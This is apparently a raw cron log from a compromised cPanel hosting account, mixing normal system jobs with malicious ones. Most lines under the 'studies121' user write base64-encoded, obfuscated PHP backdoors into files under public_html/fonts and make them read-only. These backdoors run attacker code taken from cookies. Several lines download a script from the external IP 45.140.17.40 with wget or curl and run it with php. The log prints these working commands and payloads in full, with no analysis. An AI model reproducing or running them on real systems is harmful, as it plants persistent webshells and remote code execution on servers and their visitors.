Sep 10 11:48:02 ip-184-168-122-23 CROND[31558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:49:01 ip-184-168-122-23 CROND[31766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:49:01 ip-184-168-122-23 CROND[31769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:49:01 ip-184-168-122-23 CROND[31773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:49:01 ip-184-168-122-23 CROND[31772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:50:01 ip-184-168-122-23 CROND[31893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:50:01 ip-184-168-122-23 CROND[31894]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:50:01 ip-184-168-122-23 CROND[31900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:50:01 ip-184-168-122-23 CROND[31899]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:50:01 ip-184-168-122-23 CROND[31896]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 11:50:01 ip-184-168-122-23 CROND[31902]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:50:01 ip-184-168-122-23 CROND[31901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:50:01 ip-184-168-122-23 CROND[31897]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 11:50:01 ip-184-168-122-23 CROND[31903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:51:01 ip-184-168-122-23 CROND[32026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:51:01 ip-184-168-122-23 CROND[32028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:51:01 ip-184-168-122-23 CROND[32030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:51:01 ip-184-168-122-23 CROND[32031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:52:01 ip-184-168-122-23 CROND[32111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:52:01 ip-184-168-122-23 CROND[32112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:52:01 ip-184-168-122-23 CROND[32120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:52:01 ip-184-168-122-23 CROND[32117]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:52:01 ip-184-168-122-23 CROND[32116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:53:01 ip-184-168-122-23 CROND[32223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:53:01 ip-184-168-122-23 CROND[32222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:53:01 ip-184-168-122-23 CROND[32225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:53:01 ip-184-168-122-23 CROND[32229]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:54:01 ip-184-168-122-23 CROND[32410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:54:01 ip-184-168-122-23 CROND[32412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:54:01 ip-184-168-122-23 CROND[32414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:54:01 ip-184-168-122-23 CROND[32413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:54:01 ip-184-168-122-23 CROND[32415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:55:01 ip-184-168-122-23 CROND[32561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:55:01 ip-184-168-122-23 CROND[32560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:55:01 ip-184-168-122-23 CROND[32563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:55:01 ip-184-168-122-23 CROND[32564]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:55:01 ip-184-168-122-23 CROND[32566]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:55:01 ip-184-168-122-23 CROND[32565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:56:01 ip-184-168-122-23 CROND[32688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:56:01 ip-184-168-122-23 CROND[32692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:56:01 ip-184-168-122-23 CROND[32693]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:56:01 ip-184-168-122-23 CROND[32690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:56:01 ip-184-168-122-23 CROND[32691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:57:01 ip-184-168-122-23 CROND[341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:57:01 ip-184-168-122-23 CROND[345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:57:01 ip-184-168-122-23 CROND[344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:57:01 ip-184-168-122-23 CROND[343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:58:01 ip-184-168-122-23 CROND[463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:58:01 ip-184-168-122-23 CROND[467]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:58:01 ip-184-168-122-23 CROND[468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:58:01 ip-184-168-122-23 CROND[466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:58:01 ip-184-168-122-23 CROND[465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:59:01 ip-184-168-122-23 CROND[706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:59:01 ip-184-168-122-23 CROND[707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:59:01 ip-184-168-122-23 CROND[712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:59:01 ip-184-168-122-23 CROND[711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:00:01 ip-184-168-122-23 CROND[838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:00:01 ip-184-168-122-23 CROND[839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:00:01 ip-184-168-122-23 CROND[841]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 12:00:01 ip-184-168-122-23 CROND[844]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 12:00:01 ip-184-168-122-23 CROND[845]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:00:01 ip-184-168-122-23 CROND[846]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:00:01 ip-184-168-122-23 CROND[847]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
